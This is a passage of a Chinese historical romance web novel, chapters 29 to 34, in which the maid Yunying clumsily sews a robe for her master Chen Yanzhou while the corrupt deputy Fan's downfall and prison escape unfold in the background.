从岭南到西北,这一路要多艰辛想想都知道。一个好好的壮年男人要走完这一程都要伤筋动骨,更何况范县丞这种只剩下一口气的?他能走出岭南府,那都是他的造化。 不过范县丞也算罪有应得,可那两个孩子…… 云莺想说一句,孩子到底是无辜的,结果秋宁已经先她一步,将话说了出来。 去旁听的小丫鬟听见这话,可不乐意了,赶紧道,“他们才不可怜,可恨还差不多。” “这话又怎么说?” 小丫鬟就巴巴的,将旁听来的内容都说了。 原来,那俩小子都知道钱程不是他们亲爹。不管是钱程的娘子想上位,亦或是那俩孩子想换个“位高权重”的爹,总之,他们呵范县丞走的非常近。 近到钱程的娘子,曾几次三番避着人带着孩子去范县丞的府里。 他们缺大德了! 钱程娘子怨恨范县丞的夫人迟迟不死,没少对那瘫痪的原配动手。听说她每过去一次,那原配身上的肉就要烂几天。还有那两小子,端着滚烫的茶水往那原配脸上泼,用棍子捅人的喉咙,真就是畜生不如,没有一点人性。 029 你赔我的新衣裳呢 这件事情,还是范县丞府里的丫鬟爆出来的。 据说,那丫鬟的姐妹曾因伺候范县丞的老娘时打了个喷嚏,就被人扯着头发狠狠扇了几十个耳光。打的耳朵出血,嘴都烂了。 年轻的小姑娘哭着求饶没人应,反因她的哭嚎愈发惹恼了那位老夫人,被人扯开了衣裳丢到院子里罚跪。 小姑娘受不了这种羞辱,当晚就跳井寻了死。等被人发现时,人都泡肿胀了。 可是这等人命关天的大事儿,竟也很轻松的被瞒了下来。 那姑娘的父母兄嫂拿了她的送命钱,对姑娘的死因再不追究。反倒是拉走了那姑娘的尸体,又将她卖与人结了阴亲又赚一笔银钱…… 这些乌糟事儿说出口,可把百姓们气的够呛。 既气那姑娘的父母不做人,更气范县丞一家张扬跋扈,愚弄了百姓的耳目。 听说范县丞的家现在都被砸了,他那老母亲更是被吓得惊厥,直呼着让丫鬟赶紧去给她请大夫。 云莺在花厅中听了一耳朵八卦,等离开花厅时,头脑都还懵懵的。 她身边的小丫鬟禾穗也很沉默,她走着走着,就落云莺后边了。 云莺后知后觉察觉到身边少了个人,回头就看见禾穗一脸怔忪的站在原地,抿着唇,皱着眉,一副苦大仇深的样子,手里的帕子都要被扯烂了。 “你这是怎么了?想什么呢穗儿?” 禾穗回过神,赶紧冲姑娘笑了笑,张嘴想说什么,但到底没说出口。最后,她也只是讪笑着,问姑娘,“范县丞落了难,这是他罪有应得。可是他那瘫痪在床的原配发妻又该如何呢?那原配也没生下个一男半女,那府里的老太太经了此事儿,怕是也不会再留她……” 云莺也蹙起眉,“许是会把那位夫人送回她娘家。只是也不知道她娘家还有没有人,愿不愿意收留这位夫人。” 禾穗:“那谁说得准的。” 云莺看穗儿一脸魂不守舍,就道:“你若真不放心,之后就留意着这件事。想来那位夫人不会走到绝路,若真是走到绝路上……” 禾穗试探的问道:“到时候咱们求丁姑姑去帮一帮她?” 云莺微颔首,“那也不是不可以。” 两人又往前走了几步,就听到两道低沉的男声。还未听清楚来人说的是什么,云莺和穗儿互相对视一眼,已经猜到了来人是谁。 两人赶紧避到路旁边,果不其然,很快就见二爷带着随云从小路上走了过来。 二爷穿着官服,脚上踩着官靴。他面如冷玉,身材高挺,气质矜贵雍容。那一身墨色官服穿在他身上,衬得他清贵的面容上更多了几分威严强势,一时间竟是让人不敢直视。 云莺和穗儿福身见礼,陈宴洲看都没看,径直从她们旁边走过去。 可已经走出两步远了,似乎又记起刚才那俯身行礼的女子是谁,陈宴洲便又陡然顿住脚步,回过头来。 恰此刻,云莺和穗儿以为这位主子爷走过去了,便都起了身看向他的背影,结果,就这么猝不及防的,四目相对。 陈宴洲看着呆滞的云莺,微眯起双眸,问道:“你来这里作甚?” 云莺收敛起外漏的情绪,一板一眼说:“奴婢刚去丁姑姑哪儿请过安,如今要回住处去。”而这边,是通往后院的必经之路。 陈宴洲“哦”了一声,继续蹙眉看着云莺——看看云莺的衣衫,似乎还垂头看了看自己身上的衣裳。 这是又想起,那天衣裳被缝的乱七八糟的事情了吧? 云莺心一抖。 她可没忘记,她把这位主子爷的中衣和外衫缝在一起了,惹得这位主子爷恼羞成怒,直接放下狠话,让她别做梦出府了。而她为了让这位主子爷消气,好似承诺过要给他做一身衣裳…… 云莺想起这茬,心更抖了。 她那时真就是顺口一说,她没当真,就怕这位主子爷当真。 为防被人问起新衣的事儿,云莺千方百计找借口转移话题。 好在,今天的话题是现成的。 云莺:“二爷,听说那范县丞被您发落了?” 陈宴洲散漫的“嗯”了一声,那双锐利的眸子却含着深意看着她,让云莺心里更毛了。 云莺:“真没想到,那范县丞竟是这样一个人。想他之前在云归县何等名声?百姓们说他清廉公正,忠孝两全。可实际上呢,他寡廉鲜耻,愚弄百姓。这样的人,二爷真该好好罚他。” “不是已经罚过了?”陈宴洲不紧不慢的道,“难道你觉得,我罚的轻了?” 云莺心里叫苦,不知道这位爷是太闲还是心情太好了,竟然寻起她的开心了。 但二爷那眼神讳莫如深,可真让人招架不住。云莺本就心虚,此时更想快快将这位二爷糊弄走。直觉告诉她,尽快脱身是好,不然还不知道有什么坏事儿等着自己。 云莺诚惶诚恐:“二爷说的什么话?您是一地父母官,处事公正廉明,自有章法。您惩处范县丞,不管是轻是重,总归有您的道理。奴婢没读过几本书,对刑狱全不清楚,那敢褒贬二爷的官司断的好不好?” “哦?你没读过几本书?怎么我听丁姑姑说,你们几个全都精通诗书琴棋,尤其是你,一手古琴更是出神入化?” 云莺心跳都停了两拍,暗暗叫苦不已。 可这关头,她也不敢露出异样来,只能装着镇定打哈哈,“不过是学来打发时间的,实难等大雅之堂,就不拿出来在二爷面前献丑了。二爷想必还有要事要忙,奴婢就不耽搁您的时间了,二爷请便,奴婢也回后院去。” 陈宴洲又“嗯”了一声,似乎觉得云莺说得有道理。云莺闻言如听天籁,再次给二爷行了个礼,便欢喜的准备转身离去。也就是此时…… “等等。” 二爷再次开口。 云莺强撑出一个笑脸来,“不知二爷还有何事?” 陈宴洲:“你赔我的新衣裳呢?” 云莺:“……” 见云莺如遭雷击,陈宴洲呵呵冷笑,“你这丫鬟,倒是滑头。莫不是那话是拿来哄我的,衣裳你根本没做?” 云莺想死的心都有了,越怕什么越来什么,早知道今天会有这一出,她就晚一些出花厅。哪怕是跟着瑞珠几人做针线,那也比在二爷面前受二爷的刁难强。 030 惊梦 云莺支支吾吾:“奴婢自然不敢哄骗二爷,那衣裳奴婢自然是做了的。” “当真?” “当真。”云莺义正严词,“只是您也知道,奴婢真的不善女工,那衣裳缝缝拆拆,到现在也没做出个样子来……” “到底是没做出个样子,还是根本没做?” “真的做了的。只是还需要您宽限几天时间,届时奴婢就把做好的衣衫给您送去。” 陈宴洲:“那就明日送来好了。” 云莺:“……” 云莺本想说再宽限一个月的,可怕把这位二爷气出点好歹来,最后开口要半个月期限。果不其然,又惹来这位二爷的阴阳怪气,最后云莺讨价还价,二爷懒得与云莺争辩,只把时间定在三日后。若是届时他收不到衣衫,云莺之前说的事情,且别再抱有幻想了。 送走这位二爷,云莺整个人都快虚脱了。 她深呼一口气,狼狈的抹了抹额头上的冷汗,让禾穗搀扶着她,主仆两个一脸心有余悸的回房了。 再说当晚,云莺做针线做到一更天,实在熬不住困意了,她才洗漱干净上了床。 但许是今天被二爷恐吓了一番,晚上她做梦就梦见了这位二爷。 二爷在交代随云事情,他背对着云莺而站,说话声音也小,云莺自然没听清他们具体说了什么。但她耳朵也努力支棱起来,隐隐约约似乎捕捉到“范县丞”三个字。 等交代完随云,那位二爷转过身来,眸光沉沉的看着躲在屏风后的云莺。 他似乎在警告她不要偷听,又似乎在暗示她:敢不听话,你就是下一个范县丞! 他黑的深邃惊心的双眸把云莺吓个半死,直接就从睡梦中惊醒过来,一个用力便坐直了身子。 安静的内室只有云莺呼哧呼哧大喘气的声音。 室内只有她一个人,周围一片魆黑。静谧的夜好似四面八方都藏了妖魔鬼怪,吓的人连大声呼吸都不敢。 云莺此时无比后悔,没有让禾穗过来守夜。但如今再叫人过来,显然也来不及了。 她就这样静静地躺回床铺,睁着眼睛再不敢动弹,脑中混沌一片,连自己在想什么都不知道。 外边突然又响起了梆子敲响的声音,四更天了。 将要陷入浅眠的云莺,猝不及防被这声音惊扰,脑子里瞬间划过一道灵光,陡然就想起那声“范县丞”在哪里听到过。 是那日她去给二爷送汤时候的事儿了。 那时她被随雨拦在院内等候,隐隐约约听见书房内传来二爷的声音,他说了什么她没听清,可耳朵却敏锐的捕捉到“范县丞”三个字。 范县丞…… 范县丞以前在云归县权势赫赫,可说话不及就落了难。 要说他此番落难,不是中了别人的算计,云莺是一千一万个不信的。 从小丫鬟听来的八卦中,云莺也知道,那钱程之所以能回来的那么及时,能在关键时刻摁住那对女干夫淫妇,让范县丞再没有挣扎反抗的余地,全因为那不知名姓的神秘人,送来的一张写了地址和时间的纸条。 那纸条是谁送去的? 又是谁能勘破范县丞这么周密严谨的安排,查到他与有妇之夫长期有私? 那一定不是一般人,最起码不是云归县里的人。 若不然,范县丞的隐私,不会直到现在才暴雷。 云莺更倾向于,这事情是二爷张罗的。 原因有三: 其一,那出“蠢不如驴”总归损了二爷的威严与名声。而二爷看起来并不像是个,心胸宽大到能任人埋汰和讽笑,而不给与雷霆一击的。 二来,范县丞在云归县势力太大了。他仗着多年积淀,与二爷为敌,让二爷的政令不能顺利施行……换句话说,这范县丞就是二爷掌权路上的绊脚石。将范县丞扫地出门,是非常符合二爷的利益要求的。 最后,就是今天晚上她做的这个梦。梦中不管是二爷提起“范县丞”时,太过云淡风轻的语气,亦或是梦境中太过沉凝的氛围,都让云莺确认,二爷对范县丞起了杀心,不会放任不管。 二爷不仅有人手,有能力,还有手腕,他要收拾范县丞,易如反掌。 想过这些,再想想二爷来了云归县两个多月,这么长时间,足够他看透县衙的形式,明白范县丞此人不得不除。 而这么长时间,也足够二爷寻找范县丞的把柄,瞅准时机给他来个致命一击。 …… 窗外似乎响起公鸡的打鸣声,又片刻,天色也渐渐亮了起来。 云莺一颗心沉静非常,眼皮子再扛不住困意,终于昏昏睡了过去。 而在睡前她最后一个念头,就是要把二爷那身衣裳快些做出来送过去。 不然,依照二爷这让人得罪不起的性子,她若再敢叽叽歪歪,怕是出府的事情真就没有转圜的余地了。 …… 说要早起,可因为直到天亮才睡着,云莺这一日起床就非常困难。 穗儿是不知道她半晚上没睡的,她看姑娘一直叫不起来,就有些着急。 说是要给二爷做一身衣裳,那包括的可就多了:有亵衣、中衣、外边的长衫,脚上的袜子,甚至还包括鞋子,按理来说,这些都要做。再讲究些,甚至就连香囊、络子,这些配饰也该有。 可明显时间上来不及,昨晚姑娘就狠狠心说,香囊络子、鞋袜这些就不考虑了,甚至亵衣和中衣,也等时间充裕了再做。为今之计,只能取个巧,只做一身外衣…… 可即便做这个外衣,对姑娘来说也难如登天。 毕竟姑娘的女工真的差到了极点。 她们昨晚忙碌了两个时辰,也不过是在布料上描出个大体的样子来。 而今天原本计划要裁剪,明天最好能开始缝合…… 穗儿崩溃的说了一句,“姑娘,您再不起,这衣裳可就做不完了。到时候二爷着恼……” 一句“二爷”,直接把云莺的瞌睡虫全都吓跑了。 尽管此时她还困倦的厉害,但想到二爷收拾人的手段,云莺搓着脸立马就清醒了。 她很快收拾妥当,又将就着喝了一碗银耳雪梨当早膳,随即就火急火燎的投入到做衣裳的大事业中。 031制衣 云莺心中有一种紧迫感,生恐不能按期完成任务,可有句话叫什么来着?叫越乱越出事。 这不,先是裁剪时一剪刀剪坏了样子,导致只能重新返工画样子,好不容易样子画好了,再次裁剪时,又因为手心出汗导致手滑,料子再次被剪坏。 穗儿都要崩溃了,她不明白,姑娘这么伶俐的人儿,怎么在针线女工上就这么不开窍。 可要穗儿替云莺做衣衫,她又不敢。她胆子更小,只要一想起这衣裳最后是要送到二爷面前的,她手抖的比云莺还厉害。 主仆两个面面相觑,穗儿笑的比哭的更难看:“姑娘,你再继续剪坏下去,咱们就没料子了。” 可不是么,这一匹布料,如今所剩不多了。 剩下的布料也仅够给二爷做一身衣衫,若是再被糟蹋了,那她只能出去买衣料了。 想这布料还是丁姑姑发给她们的,要的就是她们能安分下来,给二爷做些衣衫来讨二爷欢喜。 瑞珠三人都做完了,送没送她不知道,但云莺这边却一直没动手。好不容易动手了,却是这么个结果。 这好料子,不说云归县有没有卖的,就说即便外边能买得到,但这上好的锦缎,云莺兜里那可怜的三瓜俩枣也买不起。 她此时也蔫蔫的,但还不得不打起了精神和穗儿说:“我小心些,争取这次不剪坏。” 许是一直提着心,这次还真没剪坏。一身衣裳料子被完成的剪了下来,主仆两个都由衷的松了口气。 剪完了料子,那接下来就要缝合了。 可外边天色已经黑沉了,燃着油灯缝衣对云莺来说是个莫大的挑战。她不怕戳破手,也不怕使坏眼睛,可她怕针脚歪了,亦或是把不该缝合在一起的地方缝合在一起,到时候再返工,那更耽搁时间。 于是,这一天就这么鸣金收兵,只等明日再战。 躺在床上时,云莺感觉眼前直冒金星,看东西都是重影。 她长嘘一口气,抱着被子抿抿嘴唇,做女工什么的,简直要命啊。 翌日,云莺强打起精神,继续缝制衣衫。 本来她就缝的小心翼翼,不敢有丝毫走神。偏有些人不知道听到了什么风声,就来她这里看热闹了。 先是秋宁过来了,含酸带噎的把云莺挤兑一番。说什么,“姐姐做什么衣衫啊,只送汤就好了么。”潜意思是,你有这闲工夫做衣衫,你还不如去煲汤。毕竟煲汤花费的时间少,反倒是做衣裳,几天都不一定能做出一身来,你浪费这个时间干么? 况且……你做的这是衣衫么?这确定能拿的出手? 秋宁在得知,这衣裳确实是给二爷做的后,整个人罕见的沉默了。 就这针脚,粗陋的能往里边塞指头,即便是乡下的婆子给自家汉子做衣裳,都没这么敷衍的。 这衣裳,即便做成了,它真能穿身上么? 似乎已经看见了云莺过去送衣,却被二爷踹出门的场景,秋宁难得的升起些怜悯之心,她就说,“我哪儿还有些布料,不若你从我哪里那些过来,再重新给二爷做一身?” 云莺讶异的看看秋宁。 秋宁嘴一噘,脸一侧,掐着腰说,“你看什么?我好心帮你,你别不识好歹啊。丁姑姑给的都是好料子,咱们可买不起。我哪儿还剩了些,你拿来做衣裳正好。” 云莺:“我是想说,即便我重新做一身,难道能比这一身好到哪里去?” 秋宁:“那又不急着给二爷送,你就不能好好练练女工,等针线活儿拿的出手了,再给二爷做衣裳?” 云莺唏嘘,她还真急着给二爷送。 二爷那个周扒皮让她三天内把衣裳送过去,她披星戴月的做,也不知道能不能按时做完。若是弃了这一身,再从头练技术、做衣裳,那不得猴年马月才能交差? 那不晚八百年了么? 云莺谢过了秋宁的好意,并固执的表示,她觉得自己做的这身衣裳勉强还能入眼,就不折腾别的了。 秋宁被她气走后,瑞珠和木槿结伴而来。 两人看了云莺的手艺,也是大为震惊。 不过这两人可够“体贴”的,就说云莺,“重要的不是衣裳,是咱们的心意。” “二爷又不是那些肤浅的人,不会在意这些表面上的东西……” 俏皮话说的好听,可穗儿分明看见了,这两个姑娘走出门后,忍不住捂着嘴笑了。 穗儿见状就和云莺说:“姑娘,咱好歹争点气。” 云莺叹气,“这个真争不了。” 看穗儿像朵喇叭花似的,整个人都萎了,云莺好心安慰她说:“即便我争气了,后果就能更好么?你昨晚上不是和我说了,瑞珠他们都给二爷做了衣裳,可根本没送出去。” 这个没送出去,就是二爷根本不收她们的东西,更甚者,连面都没见。 穗儿:“可您和那几位姑娘又不同,二爷是点名了让您做衣裳的,您送过去,二爷肯定会收。” 云莺:“他会收,但他肯定不会穿。二爷就是拿我寻开心的,他都不把这事儿当真,咱们太认真,咱们就输了。” 穗儿:“……”事情真像您说的那样么?我怎么就这么不信呢。 云莺话说的好听,好似衣裳做的好与坏无关紧要,重要的真就是她那一片心意。 但是,能做的好,谁又愿意做的差呢? 毕竟那位二爷真有点吹毛求疵的劲儿,她若真是敷衍了事,怕是会彻底惹恼了那位二爷。 但是,这事儿真不是她能控制的。 云莺也尽力去做了,甚至每一针每一线都抱着虔诚的心态去刺绣,无奈那双手根本不听使唤,做出来的东西和她心中所想的,完全是南辕北辙的两个玩意儿。 摊平吧。 摆烂吧。 问就是她已经尽力了。 就在这种崩溃之下,云莺终于赶在第三天的傍晚,将这衣裳做了出来。 绣花什么的就别提了,这真就是一件素的不能再素的外衫。除了衣裳的料子和颜色值得夸赞,别的么……不提也罢。 云莺看着面前这件衣衫,真想欢呼雀跃一声,终于解放了。可连坐了三个日夜,她的腰肢实在是受不住了。 在丢下针线的第一时间,云莺就扑到了床上去。 可太难了,她以后是绝对没办法吃绣娘这碗饭的。因此,还得考虑考虑若真出了府,该做些什么营生,才能养活自己。 想多了,如今最紧要的,是赶紧将这件衣裳送到二爷哪儿去交差。 032 难登大雅之堂 云莺特意让穗儿找了个锦盒,将衣裳叠整齐装进去。 眼瞅着晚膳时间已经过去了,约莫着二爷这个时间点大概率是有空暇的,云莺赶紧带着穗儿去“交差”。 熟料,才走到前院和后院的圈门哪儿,就碰见了正好从前院过来的丁姑姑。 丁姑姑看见她们主仆两个,就问说:“做什么去?” 云莺:“见过姑姑。我们去前院寻二爷。” 丁姑姑微颔首,“那你们来的不巧,二爷应几位乡绅的请,去酒楼赴约了,今晚大概会回的很晚。你若有事儿,不妨明日再来。”又指指穗儿手中的锦盒,“里边装的什么?” 云莺就回道:“是奴婢给二爷做的一身衣衫。” 丁姑姑想来也听到了什么风声,对于云莺这话并不意外。可她纳罕,这云莺不是一贯表现的跟隐形人一样,怎么这会儿这么积极讨好二爷?莫不是终于看到二爷的好了,对二爷起了绮思? 丁姑姑脑中这些思绪一转而逝,她是知道云莺不善女工的,就有意让云莺打开盒子,她看一看她做的衣裳。 但想想又觉得此举不妥。 云莺四人以后毕竟是要做侍妾的,侍妾也是半个主子,她总归是下人,查看她们的东西又算怎么回事儿? 丁姑姑就歇了这心思,和云莺一道回了后院。 再说翌日一早,云莺用过早膳就又往前院去了。 也不知是不是她的错觉,这一路走来不少人对她们行注目礼,且还有人似有若无的尾随在她们身后。 云莺和穗儿说起此事,穗儿就说:“昨天咱们来寻二爷的事儿,现在府里的人都知道了,她们八成在等着看笑话。” 穗儿:“可惜,要让她们失望了。姑娘可是来还债的,二爷才不会不见姑娘。” 云莺:“……” 还债这个词儿用的是真妙。但她宁可二爷不见她。 云莺磨磨蹭蹭,穗儿似乎看出了她的迟疑。就说,“姑娘,您现在才知道害怕么?算了吧姑娘,反正您已经尽力了,想来二爷即便不满意那衣衫,应该也不会过分苛责您。姑娘咱们快过去吧,早死早超生。” 云莺从没觉得穗儿这么聒噪过。 她不是一直都是沉默寡言的角色么?怎么这时候话那么多? 心里如此想着,云莺却没多言,而是如穗儿催促的那样,当真加快了脚步,走到了书房所在的院子门口。 门口依旧有人守着,却不是上次守门的那个小厮。看到云莺过来就冷声喝道:“书房重地,还请回避。” 穗儿赶紧过去交涉,这守门的侍卫一听,是二爷让这位姑娘过来的,就狐疑的多看了云莺两眼,然后进去通报了。 稍后这人回来,云莺主仆二人才得以进去。 书房外边依旧站了一个人,云莺有些熟悉,正是那日在假山下守着的侍卫墨雪。她冲墨雪微颔首,墨雪便道:“主子在里边,姑娘自己进去吧。” 云莺推开门走进去,就见那位二爷正站在书案后挥毫写着什么。 璀璨的金光透过大开的窗户落在他身周,他金冠玉带,眉眼深邃,肤色冷白。执笔的手掌骨节分明,上边有一条条青色脉络绷紧起来。浓浓的男性气息扑面而来,外加这过于英挺俊美的容貌,让人不免多看了两眼。 好在理智尚存,云莺很快又低下头,沉默的行了个礼,然后便安静的站在门口位置。 许久后,二爷才抬头看了她一眼,问道:“衣裳做好了?” “昨日就做好了,奴婢来给您送,恰逢您不在,奴婢便这时送了过来。” 陈宴洲“嗯”了一声,垂首继续在雪白的纸张上挥毫泼墨。 云莺又站了很长时间,陈宴洲却没再说话。直到脚底板隐隐作痛,云莺才忍不住开口说:“奴婢把衣裳交给侍卫吧,奴婢这就出去,就不打扰二爷了。” 陈宴洲又“嗯”了一声。 这一声听在云莺耳朵里,当真是如闻天籁。 虽然来时她就做了会轻易过关的美梦,但二爷当真这么轻易就放过她,这也大大出乎了云莺的预料。 但不管怎么说,她肯定更欣喜就是了。 云莺努力压住将要翘起来的唇角,福身行了个礼,随即脚步一转,马上就要走出门去。 “停下。” 这两个字再次响起时,云莺狠狠闭了闭眼,真想当做没听见一样,继续往外走。 可想也知道她没那个胆子,因而,即便心中哭的暴雨滂沱,她也只能僵硬着身子转过身来,带着些许她自己都没有察觉到的警惕和小心,问二爷说:“不知二爷还有何吩咐?” 陈宴洲仔细的看着云莺那张出尘绝俗的面孔。 她眉目如画,唇色嫣红,肤色莹白,一双杏仁眼明澈透亮,就这般冷冷看着人时,满眼的警惕几乎要流泻出来。 陈宴洲知道她或是定亲,或是有了意中人,因而这丫鬟对她多有畏避,他也不太放在心中。 只她用这么警惕的眼神看着他,这就让人有点不太高兴了。 陈宴洲便放下手中的狼毫,迈步从桌子后边绕出来,在距离云莺两步远的地方停下脚。 他微抬下巴,吩咐说:“衣裳拿出来,我看看。” 云莺当即脊背一僵,她委婉的提醒说,“在这里么?这里是二爷的书房,在这里……似乎有些不妥?” 陈宴洲轻“呵”,“有什么不妥?我又不是要在这里更衣……不过你倒是提醒了我,衣裳做的合不合身,最好还是亲自试一试。” 云莺更头大了,手心都出了汗。 她自己几斤几两中她一清二楚。 她做的那衣裳,若单只是看看,勉勉强强,非常勉强,才能看的过眼。可若是衣裳一上身,完了,那就全完了。 可云莺越是不想让陈宴洲试,陈宴洲越是狐疑。 他微眯着双眸审视着云莺,不知道这丫鬟又在搞什么鬼。 莫不是,那盒子里装的根本不是什么新衣,而是一身旧衣?再不然,这衣裳不是她做的,而是让丫鬟代手的? 若真是这样,这丫鬟可真是狗胆包天了。 陈宴洲冷冷道:“还愣着做什么,快些打开,不要磨磨蹭蹭。” 云莺眼看这一关是糊弄不过去了,只能一咬牙,一狠心,提前给二爷打预防针说:“奴婢之前就和您说过的,奴婢女工不好,做的衣裳难登大雅之堂。” 陈宴洲:“呵,我倒是要看看,你这衣裳有多登不上大雅之堂。” 033 我听你狡辩 云莺看着二爷冷然的面色,提着的心肝更抖了。按她之前预想过的最好的情况,就是直接留下这盒子转身走人。二爷这么忙碌,之后应该无暇理会盒子里的东西,那样她就成功的蒙混过关。 可谁想到,她人走不了,盒子还要现在打开。这真是她预想中的最坏的情况了。 现在满脑门官司的云莺,显然没想到,还有更坏的情况发生。 盒子打开,陈宴洲看着里边素净的衣衫。因为针脚都掩藏在里边,倒是一时间看不出这衣衫的好坏。 不够这丫鬟投机取巧却是真的。 说好的一身衣衫,结果到手却只有一件外衫,呵,这小心思得用箩筐才装得下。 陈宴洲:“衣裳拿起来我看看。” 云莺又不情不愿的“哦”了一声。 衣裳被拎起,好了,直接露馅了。 先不说别的地方,就盘扣就挽的乱七八糟;再说那领口,针孔更是粗大的露出好大一条缝。再看别的缝合的地方,呵,这真就是简单的缝合,陈宴洲这个世家贵公子总算是开了眼了。 他睁眼再闭眼,闭眼又睁眼,眼前的衣裳还是那副死样子,陈宴洲都气笑了。 云莺:“二爷您别笑,你笑起来我害怕。” “你还知道怕?我看你这胆子大的,你恨不能上天。” “那不能,即便给我登天梯,我也上不去。太远了,爬到半路我就摔下来了。” “还敢顶嘴?” 云莺闭上嘴巴,不说话了。、 陈宴洲忍了又忍,那口气终于咽了下去。他抱着最后一丝幻想,说道:“拿过来,我试试。” 云莺想说,“还是别试了吧,看起来就挺伤眼的,试起来,那怕不得伤身?” 但她的话还没出口,二爷已经转过身,顾自脱了身上那件带着精美绣纹的宝蓝色圆领直缀。 他只着一身中衣转了过来,伸开手臂等云莺服侍。 云莺无奈,也只能举起了手中的衣裳,往二爷身上穿。 可才第一步,就出了岔子。 到没有一个袖子长、一个袖子短这样的硬性问题,可和这问题也差不了多少。 那就是,腋下的位置有些紧绷了,衣衫牢牢的箍着二爷的三角肌,看起来非常不成体统。 云莺想将二爷的胳膊完全塞进衣袖里,她着急之下,就手动握住了二爷的胳膊。可才一上手,她就发现,二爷看着清瘦,可身上却有一层薄薄的肌肉。这肌肉轻薄,却强韧有力,绷起时差点将衣衫撑破。 云莺忍不住用手捏了两下,可才刚有动作,便听到一道冷冰冰的声音,手中的胳膊也被人抽走了。 二爷紧蹙着眉头问,“你做什么?” 云莺:“我……” 她也不知道自己怎么就昏了脑袋,竟敢摸二爷的肌肉。不仅摸了,她还掐了,她可真不知道死活啊。 可要告诉二爷,她刚才此举,单纯只是想将二爷的胳膊塞进袖笼里,不知道二爷的怒气是会更小一些,还是更大一些。 云莺一脸无辜的站在原地,陈宴洲看了看紧绷的衣袖,再看看云莺透着心虚的一双明眸,哪里还猜不到她的心思。 他忍不住再次冷笑出声,硬邦邦的质问云莺,“这就是你赔罪的衣衫?你是事前没问丁姑姑要尺寸么?” “要了的。”回答这个问题的云莺底气很足,可是,按照尺寸又怎么会做出这么不合身的衣衫,这她却解释不清了。最后只能归咎于,“这布料不会缩水了吧?” 陈宴洲这次真被云莺气的冷笑起来,他许是真没见过,手蠢的跟脚有的一比的女人,当下就指着云莺,点了两下,才吐出一句话,“我听你狡辩。” 二爷快被气疯了,抓着身上穿到一半的衣衫要扯下来。可才刚动手,就传来“刺啦”一声锐响。 伴随着这响声,云莺瞪大了眸子,整个人死了一样安静。而二爷更是不敢置信的,垂首看着在他手里肢解成几片的布料…… 二爷浓眉皱的死死的,俊朗的面孔上咬肌隐隐抽动。他嘴唇抿的死紧,英挺的脊背透着几分僵硬。 二爷目光犀利的看着云莺,似是想活剐了她。 这到底是什么破烂玩意儿!! 二爷他真是长见识了! 她还委屈上了。 她委屈什么? 说是给他做一身衣衫,结果投机取巧,只送来一件平平无奇的外衫。 说平平无奇都是糟蹋这四个字,这衣衫,这外衫丢给乞丐,乞丐都懒得穿! …… 今天县衙后院内,有一个高居榜首的热门话题。那就是:云莺把衣衫送到二爷手里了么? 答案谁也说不清。 毕竟明眼人都看见,云莺带着丫鬟是进了二爷处置公事的院子的,甚至还在院子里呆了很长一段时间。 这足以证明,云莺今天是见到了二爷的,甚至还在二爷跟前刷了很长时间的存在感。 但既然见到了二爷,为何却又将衣衫抱了回来?是二爷嫌弃那衣衫做工不精致,给退回来了么? 兴许这是唯一能让人觉得慰藉的点了。 可又一想到,二爷对后院其余三人都不假辞色,却屡屡为云莺破例,秋宁三人心里就恼的揪烂了帕子。 木槿抽搭搭的瞪着云莺:“我长得也没比你差到哪里去,二爷凭什么不见我,没有这么欺负人的。 秋宁则含酸带噎的说:“长得好有什么用,那针线女工拿不出手,想讨好人都不知道该怎么讨好,你说你怎么就这么笨。” 瑞珠倒还算“贴心”,“都别说云莺妹妹了,云莺妹妹此时心里怕是也不好受。” 这个不好受具体是指,云莺从前院出来时,一脸受了打击的崩溃模样。她心神恍惚的走在路上,一脸失魂落魄,若非穗儿拉的及时,她都撞到树上去了。 所以,别看云莺今天见到了二爷,但肯定也没在二爷哪里落着好。 具体为什么没落着好,问题指定出在那一堆破衣烂衫上。 瑞珠的眼神隐晦的扫了一眼,那件破损的不成样子的男子外衫,眸光深了深,手中的帕子却捏的更紧了。 三个人在云莺这儿呆了一会儿,便都离开了。 云莺沉默的坐着,此时脑子里控制不住回忆起在书房中的一帧帧画面。尤其二爷最后指着她,让她好生等着的犀利模样,真是想一想就让人心肝发抖。 034 出门 云莺倒是宁愿二爷当时就说出惩罚,也好过她现在焦灼难耐的,等着那不知道何时才能落地的第二只靴子。 可是二爷太忙了,无暇顾及她…… 是了,在二爷崩溃暴走,正琢磨着这次如何收拾她,给她一个刻骨铭心的教训,让他知道糊弄二爷的代价有多么惨痛时,随雨从外边跑了进来,兴奋的喊了一句,“二爷,那姓范的果然越狱了!我还以为那老小子会在流放的路上逃,没想到……” 也是这一句,让二爷再无暇理会她,直接将她撵了出来,让她在后院好生呆着,等他闲了再来发落她。 云莺正想七想八,穗儿过来催她用膳了。 穗儿说:“您好歹吃点,不吃饿坏了更得不偿失。” 穗儿看着云莺的眼神带着怜爱。 他们姑娘可太可怜了。 今天直面二爷的狂风暴雨,她在外边都替她捏了一把汗。 二爷当时在书房说话的语气多冷啊,还有那气怒的模样,真是想想就让人不寒而栗。 她当时贴着墙角等着,都被吓得差点拔腿就跑。可姑娘不仅不能跑,还得直面二爷的冷厉,姑娘可真是不容易。 “啊,到午膳时间了么?你把饭菜摆上来吧,我这就吃。” 穗儿欢快的应了一声,去摆膳了。 而云莺,她有一筷子,没一筷子的用着午膳,脑子里却不由的思索起那“越狱的范县丞”来。 范县丞有什么必要越狱呢? 他可太有必要越狱了。 毕竟范县丞如今年近五旬,他又接连遭了两番罪,若是不做出点反抗,即便不死在监牢里,他也会死在发配流放的路上。 云莺想着,若她是范县丞,她肯定会在流放路上跑。 毕竟她坚信,范县丞一手遮天的时候,指定还做了些其他的、不能告人的事儿。他那些“同党”,不管出于什么原因,指定不能眼睁睁看着,范县丞就这么被流放到西北去。 有他们帮衬,要弄出假死的模样来,那不要太简单。届时既不牵连家人,还能很完美的脱身。等过了风头再将家人接走,一家子隐姓埋名,以后多的是天高云阔的好日子。 云莺能想到的事情,她相信范县丞肯定也能想到。 可既然有更好的“出路”,范县丞却选择走那条不归路——越狱,那他肯定是有不得不越狱的原因。 就比如,他的身体实在扛不住了。再不让大夫看诊用药,怕是会死在那监牢里。 想想自那廉捕头被捉之后,县衙很是大换血了一番,如今县衙里里外外,几乎全都是二爷的人。 有二爷的人严格把守,那范县丞想用些药稳住身上的伤,那怕是不可能。 眼看小命不保,范县丞孤注一掷决定越狱,就很容易想通了。 而至于范县丞越狱时,二爷的人是不是睁一只眼闭一只眼,那怕是只有二爷的人才知道。 但不管怎么说,范县丞如今指定在二爷的监视下,这个事实指定没跑。至于二爷这么做的原因……放长线,钓大鱼? 大鱼肯定不好钓,要钓鱼就得有充足的耐心和警惕心。 